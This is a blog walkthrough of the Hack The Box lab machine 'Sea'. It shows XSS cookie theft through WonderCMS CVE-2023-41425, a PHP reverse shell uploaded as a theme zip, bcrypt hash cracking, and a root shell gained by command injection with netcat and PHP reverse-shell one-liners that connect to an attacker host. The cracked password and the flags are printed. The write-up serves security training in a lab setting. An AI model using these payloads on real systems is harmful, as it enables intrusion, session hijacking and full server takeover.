[HTB] Sea

In this walkthrough, we will explore the penetration testing process of a Hack The Box (HTB) machine named “Sea,” which, at the time of writing, was still in an active state, meaning no official walkthrough was available. This comprehensive guide details the steps taken to identify vulnerabilities, exploit them, and ultimately gain root access to the target system. Starting from initial reconnaissance, we will conduct port scanning and manual enumeration to discover potential entry points. Following this, we will leverage known vulnerabilities, specifically CVE-2023-41425, to gain an initial foothold. From there, we will escalate our privileges through a series of carefully crafted exploits. This walkthrough aims to illustrate practical techniques and methodologies that are essential for ethical hacking and penetration testing.

I find great satisfaction in exploiting new machines, so I highly encourage you to attempt to compromise this machine on your own first. If you encounter any challenges, feel free to return and reference this walkthrough for guidance.

As a personal preference, I will not be utilizing Metasploit in this walkthrough. Some certifications, such as the OSCP, restrict or disallow the use of this framework, and I prefer to keep it out of the equation. However, in real-world scenarios, using Metasploit is perfectly acceptable and often beneficial.

Let’s start!


Enumeration

Port scanning

As always, the first thing we need to do is scan the target for open ports:

nmap <RHOST> -sV -sC -p- -oA nmap.tcp.version
/* 
 * This command will scan all TCP ports. 
 * The -sV option performs a version scan.
 * The -sC option executes a script scan.
 * The -oA option saves the output to multiple files.
 */

The scan shows that there are two open ports:

  • 22/tcp SSH – OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
  • 80/tcp HTTP – Apache httpd 2.4.41

The scan reveals that the target is hosting a web server on port 80 and that the website uses the PHPSESSID cookie without the HttpOnly flag set.

Burp Suite

Before beginning manual enumeration, it’s best to start Burp Suite. This allows us to analyze all the requests made to and received from the web server. Be sure to disable the Intercept option in the Proxy → Intercept tab so that it doesn’t block our requests.

Manual Enumeration

When visiting the web server in a browser, we can see that there are three main pages:

  • http://<RHOST>/
  • http://<RHOST>/how-to-partecipate
  • http://sea.htb/contact.php

We also notice that the last one uses the domain sea.htb, so we need to add it to the /etc/hosts file:

/* /etc/hosts */
/* < ... snip ... >
<RHOST> sea.htb
/* < ... snip ...>


Now we can visit the website using the URL: http://sea.htb/.
This reveals a web form at http://sea.htb/contact.php, where we can enter the following details:

Nametextrequired
Emailemail formatrequired
Agenumberrequired
Countrytextrequired
Websitetextnot required

For now, submitting the form only results in a “Form submitted successfully!” message. However, this might be useful later on.

Nikto Scan

nikto -h http://sea.htb -output nikto.txt

This scan will take some time to complete, so it’s best to start it as soon as possible. It may uncover more useful information.

GoBuster

We can search for more hidden directories on the web server by running a directory scan.

gobuster dir -u http://sea.htb/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -o dirb.medium.txt

The scan results did uncover some folders, but most of them returned a 301 status code. The directories GoBuster found were:

/homeStatus: 200
/0Status: 200
/themesStatus: 301
/dataStatus: 301
/pluginsStatus: 301
/messagesStatus: 301
/404Status: 200

It seems we weren’t able to find anything interesting, but we’ll save the results anyway, as they might be useful later.

Analyze the website

So far, we haven’t found anything particularly interesting aside from the contact form. Therefore, we need to continue enumerating and footprinting the website. One thing we’re currently missing is the name and version of the CMS the website might be hosting (if any).

Looking through the source code of each page, there are no clear indicators of the technologies used for the front-end or back-end (aside from the fact that it uses PHP).

We need to dig deeper to identify the application running on the website.

In the source code of the /index.html page, we can see a line for the stylesheet—specifically Bootstrap—that contains an integrity hash:

<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">

This doesn’t seem immediately useful, but we can try searching Google for open-source code that has the same hash in its source code. This might help us narrow down the possible applications the target is using.

Google Search: cms sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u site:github.com 

The first page of results gives us two possible candidates:

It’s possible that the target is using WonderCMS. We need to look for details that could confirm this. If we test WonderCMS on their demo site, we notice it uses the path /loginURL for the login page and only asks for a password. Let’s try visiting http://sea.htb/loginURL.

The website presents us with a new page asking for a password! This suggests the site could indeed be using WonderCMS. We don’t know the exact version, but we can now start a new enumeration process, including searching for vulnerabilities.

CVE-2023-41425

When searching for “WonderCMS vulnerability,” we find a Cross-Site Scripting (XSS) vulnerability affecting versions between 3.2.0 and 3.4.2, identified as [CVE-2023-41425].

Let’s study the vulnerability and let’s create an exploit for it!

The Vulnerability

This vulnerability allows the creation of a URL that can execute a custom-crafted JavaScript (JS) script:

http://sea.htb/index.php?page=loginURL?"></form>http://XSS_SCRIPT_URL.js<form action="

This enables us to send a custom JS script that will be executed within the target domain inside the victim’s browser environment.

The Exploit

Since the JavaScript code is executed within the user’s environment, we can steal the user’s cookie. If the user is a logged-in admin, this allows us to access the admin panel without needing a password.

You can download the Cookie Stealer exploit from my GitHub. (I’ve kept it simple to make it easier to understand):

Download it here:
Cookies-Stealer-CVE-2023-41425.py

This script doesn’t require any specific Python modules. It generates a custom JS script on our local machine and presents a crafted URL to send to the administrator. The script also hosts a local web server so that once the administrator opens our link, it will download the custom JS file from our machine.of a Hack The Box (HTB) machine named “Sea,” which, at the time of writing, was still in an active state, mea

python3 Cookies-Stealer-CVE-2023-41425.py -u http://sea.htb/loginURL -i <LHOST> -p 8000
/* -u http://sea.htb/loginURL , the login page of the target website
 * -i <LHOST> , our IP address where the victim will connect 
 * -p 8000 , the local port we will be using for hosting the webserver
 */

Running the script will produce the following output:

Send this to the admin:
 http://sea.htb/index.php?page=loginURL?"></form>http://LHOST:8000/payload.js<form action="


Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Now that the script has generated a payload.js script and hosted an HTTP server, all we need to do is send the generated URL to the administrator.

Attack

We can go back to the website’s contact form, input some random data, and in the website field, submit the URL generated by our script, hoping the admin will open it.

/* Example form data */
Name: Sea
Email: test@sea.htb
Age: 30
Country: US
Website: http://sea.htb/index.php?page=loginURL?"></form>http://LHOST:8000/payload.js<form action="

After submitting, we wait for a response in the exploit terminal.

Inside the Admin Control Panel

After a few minutes, we notice that our HTTP server, hosted by the exploit, has received a connection:

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
<TARGET URL>  - - [DD/MM/YYYY HH:03:03] "GET /payload.js HTTP/1.1" 200 -
<TARGET URL>  - - [DD/MM/YYYY HH:03:11] code 404, message File not found
<TARGET URL>  - - [DD/MM/YYYY HH:03:11] "GET /log?cookie=PHPSESSID=tru7o2hs16qsi4ungui447jsns HTTP/1.1" 404 -

From this output, we can see that the URL we sent to the admin successfully downloaded the payload.js script, executed it, and in the end, we received their PHPSESSID cookie!

Now that we have successfully stolen the admin cookie, we can visit http://sea.htb, replace our PHPSESSID cookie with the stolen one inside Firefox (Inspector Menu → Storage → Cookies), and reload the page. We should now be logged in with access to the website settings!

Searching for Interesting Files

In the settings modal, we can navigate to the Security Tab and download a backup of the website. This could allow us to find interesting files and study the website’s directory structure.

Once we’ve downloaded the .zip file, we can see that it contains various folders and files:

backup.zip
- data/
- messages/
- plugins/
- themes/
- .htaccess
- contact.php
- index.php

Inside the data directory, there’s one interesting file: database.js. Upon opening it, we find a password hash:

#database.js
<snip>
"saveChangesPopup": false,
"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q",
"lastLogins": {
<snip>

We now have a hash that could potentially be cracked, but we’ll look into that later. For now, save it in your notes. We still need to find a valid username associated with this password and a way to gain shell access to the server.

Initial FootHold

The CVE-2023-41425 also describes a vulnerability in the installModule component. If we revisit the website’s admin options modal, we can see that within the Theme tab, we have the ability to install additional themes. By closely examining the URL of one of the “Install” buttons, we notice that it requires a URL for the ZIP file of the theme to be downloaded and installed on the website.

http://sea.htb/?installModule=https://github.com/robiso/sky/archive/master.zip&directoryName=sky&type=themes&token=7bf8399a04c9bd2044f652ec7e904031510c2c9a2347d48d0630c38b09600193

This means we could create a ZIP file containing a PHP reverse shell script, host it using the previously used HTTP server (from the exploit script), and modify the installModule URL to point to our ZIP file. This would allow us to upload a reverse shell to the target server.

Payload Preparation

We can download a PHP reverse shell script from the web; in this case, we used the pentestmonkey/php-reverse-shell. After downloading the PHP file, we need to modify two variables within the script.

<snip>
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
<snip>

We must set the IP address of our machine and the port we want to use for our local Netcat listener. In our case, we used port 4444.

Once we have successfully modified the php-reverse-shell.php file, we need to place it inside a ZIP file:

zip shell.zip php-reverse-shell.php

Install our Payload

Now that we have created our payload ZIP, we can place it in the folder where the exploit Python script is running so that it will be hosted through our web server (or you can start a new web server manually). After that, we can craft our installModule URL. For example, our URL looks like this:

http://sea.htb/?installModule=http://<LHOST>:8000/shell.zip&directoryName=sky&type=themes&token=7bf8399a04c9bd2044f652ec7e904031510c2c9a2347d48d0630c38b09600193

Once we have crafted a valid URL, we can open it using Firefox, and from our web server, we will see that our shell.zip was successfully downloaded to the target server! From the web page, we can also see the message “Successfully installed/updated sky.”

Establishing Foothold

Now that we have successfully uploaded our script to the server, we need to start our Netcat listener:

nc -lvnp 4444

If we placed the .php shell in the root directory of the ZIP file, that file will be extracted in the /theme/ folder of the website. We can now visit our installed PHP file.

http://sea.htb/themes/php-reverse-shell.php

Once we access the reverse shell page, we establish a reverse shell connection to our Netcat listener, successfully gaining initial access to the server.

Initial Internal Enumeration

Let’s check what environment we have entered.

$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ hostname
sea
$ pwd
/
$ ls /home/
amay
geo

From this initial enumeration, we can see that we are logged in as www-data, indicating that we are not logged in as a regular user but rather as a service user. We were also able to enumerate the users on this machine by checking the /home/ folder, discovering two users:

  • amay
  • geo

We might be able to escalate to one of these users if we can successfully crack the previously found password in the "/data/database.js" file. Additionally, it’s worth noting that the user amay has a user.txt file in their home directory.

Cracking the database.js Password with HashCat

Inside the website backup, we found a password hash that we can identify and attempt to crack using HashCat.

$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q
  • $2y$ : Indicates the bcrypt algorithm version. This is the original bcrypt algorithm, specifically used in PHP to address a bug in older versions of PHP.
  • $10$ : Represents the cost factor. In this case, 10 means that the hash was created with 2^10 iterations.

Now that we know this is a bcrypt hash, we can use HashCat to try to crack it.

First, we need to save the hash in a file:

echo '$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q' > hashes.txt

Now we can start HashCat, using the rockyou.txt wordlist:

hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
/* -m 3200 This option is for cracking bcrypt hashes.
 * -a 0 This selects the attack mode as a dictionary attack.
 * hashes.txt The file containing our hash to be cracked.
 * /usr/share/wordlists/rockyou.txt  The wordlist used for cracking the hash.
 */

After a couple of minutes, HashCat presents us with the plaintext password it found:

$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance

Now that we have successfully cracked the password, we can try to access the target server as one of the users we found during the internal enumeration while logged in as www-data. In this case, we will attempt to log in to the amay account (the one that contains the /user.txt flag).

ssh amay@sea.htb
Password: mychemicalromance

We successfully log in as amay, and we can retrieve the user.txt flag!

whoami
amay
cat /home/amay/user.txt
ffc33532815ff05e98ad4568fbc4a25a

Internal Enumeration

Now that we have access as a user on the target server, we need to enumerate the internal system to identify potential paths for privilege escalation. We can achieve this by downloading LinPEAS on the server.

LinPEAS Enumeration

Upload the Script on the server

LinPEAS is a script that searches for possible paths to escalate privileges on Linux, Unix, or macOS hosts. You can download it from GitHub or directly from linpeas.sh.

Upload a file using SSH

We can upload a file to a remote machine using scp. From our local machine, we can run the following command:

scp linpeas.sh amay@sea.htb/tmp

This command securely uploads our script to the remote server’s temporary directory.

Execute the script

Now that we have successfully uploaded the script, we can execute it by returning to our SSH terminal where we are connected as the amay account and starting the execution of the script:

cd /tmp
chmod +x linpeas.sh
./linpeas.sh > output.txt

In this case, we saved the scan output to a file to review it locally.

Once the scan finishes, we can view it directly from that terminal or download it to our machine using scp as before:

cat output.txt
#or, from our local machine
scp amay@sea.htb:/tmp/output.txt .

Analyze LinPEAS Results

Looking at the LinPEAS results, we notice that under the [+] Active Ports section, the machine is listening locally on port 8080/tcp.

tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      

This will return an “authentication error,” indicating that we need to provide a username and password. We can try using amay as the username and mychemicalromance as the password.

wget http://127.0.0.1:8080

It will return to us an “authentication error” , so we need to provide the page with a username and a password. We can try using amay as username, and mychemicalromance as password.

wget --user=amay --password=mychemicalromance http://127.0.0.1:8080

We successfully retrieve the index.html page, which has the title System Monitor (Developing).

Footprinting the Internal Website

The website we found is currently not accessible from outside the target machine, but we can use SSH to forward this local port to a local port on our machine.

ssh -L 1234:127.0.0.1:8080 amay@sea.htb
/* -L Tells SSH to create a local port forwarding tunnel.
 * 1234 This is the local port on our machine where we will connect to access the forwarded service.
 * 127.0.0.1:8080 This specifies the destination address and port on the remote machine.
 * amay@sea.htb This specifies the username and the remote host to which we are connecting.
 */
Password: mychemicalromance

Now, a new SSH session will open in the terminal. If we keep that session active and visit the address 127.0.0.1:1234 on our local machine, we will be presented with an authentication request. We can use the user credentials we provided earlier (amay:mychemicalromance).

We see a page with four buttons under the System Management section: Clean system with apt, Update system, Clear auth.log, Clear access.log. There is also an input option with two selections (access.log, auth.log) along with an Analyze button.

If we press the Analyze button, we receive results from the selected log file. It seems that the program is reading a part of the file.

Privilege Escalation

By examining the source code using the Inspector menu, we can see that the value of the option contains the entire file path of the file (for example, /var/log/apache2/access.log). If we attempt to read this file using our SSH session, we notice that we receive an “Access Denied” error. This indicates that the application is executing as a privileged user, which could present a potential vulnerability if we can inject a command or path. This could lead to a command injection or a path traversal attack.

Let’s try reading another file, such as the protected file /etc/shadow. If we replace the value with the shadow file like this:

 <option value="/etc/shadow">access.log</option>

Upon pressing the Analyze button, we successfully retrieve part (but not the entire) content of the shadow file.

Attempting to Inject a Reverse Shell Script

What happens if we try to inject a reverse shell script instead of a file path? From the LinPEAS results, we noted that netcat (nc) is present on the system, allowing us to use it to establish a reverse shell connection. We can use the following reverse shell script (taken from GitHub/InternalAllTheThings):

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> 4242 >/tmp/f
/* Remember to replace <LHOST> with the IP address of our machine.  */

We will place this script inside the form value:

<option value="rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&amp;1|nc <LHOST> 4242 >/tmp/f">access.log</option>

Next, we start a netcat listener on port 4242:

nc -lvnp 4242

Then, we press the Analyze button. We should see that we successfully trigger the reverse shell script. However, there’s a small issue: the reverse shell closes automatically after a few seconds.

To resolve this, we can send a command immediately after starting the netcat listener to open another reverse shell using a PHP one-liner (also sourced from GitHub/InternalAllTheThings):

nc -lvnp
listening on [any] 4242 ..
php -r '$sock=fsockopen("<LHOST>",4343);exec("/bin/sh -i <&3 >&3 2>&3");'

By running this second netcat listener on port 4343, we ensure that when we receive the shell, it will execute the reverse shell script and connect back to our second listener.

After running the second netcat listener:

nc -lvnp 4343

We can now execute the request on the web page by changing the option value again to use the same script as before and by pressing the Analyze button.

When we do this, we receive the first shell that calls the second shell, allowing us to establish a stable shell as root, which we can use to retrieve our final flag.

# whoami
root
# hostname
sea
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
1024ecef062f650aff8fe86329935ea5

We have successfully gained root access to this machine!


Conclusion

In conclusion, this walkthrough demonstrates the critical steps involved in successfully exploiting the “sea” machine on Hack The Box. We began with a thorough enumeration of the web application, leading to the discovery of a Cross-Site Scripting (XSS) vulnerability, which allowed us to steal an administrator’s session cookie. We then leveraged this access to install a reverse shell on the server, enabling us to escalate our privileges to the user level. Finally, by utilizing the LinPEAS script, we identified additional vulnerabilities that permitted us to gain root access. This exercise not only reinforces the importance of systematic testing and thorough enumeration but also highlights the dynamic nature of penetration testing in real-world scenarios. By understanding and applying these techniques, ethical hackers can contribute to strengthening the security posture of systems and applications.

Thank you for reading! I hope you found this walkthrough enjoyable and informative. Your feedback and thoughts are always welcome, so feel free to share your insights or ask any questions. Happy hacking!

Davide Stefanutti

Ko-fi donationsSupport Me on Ko-fi

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.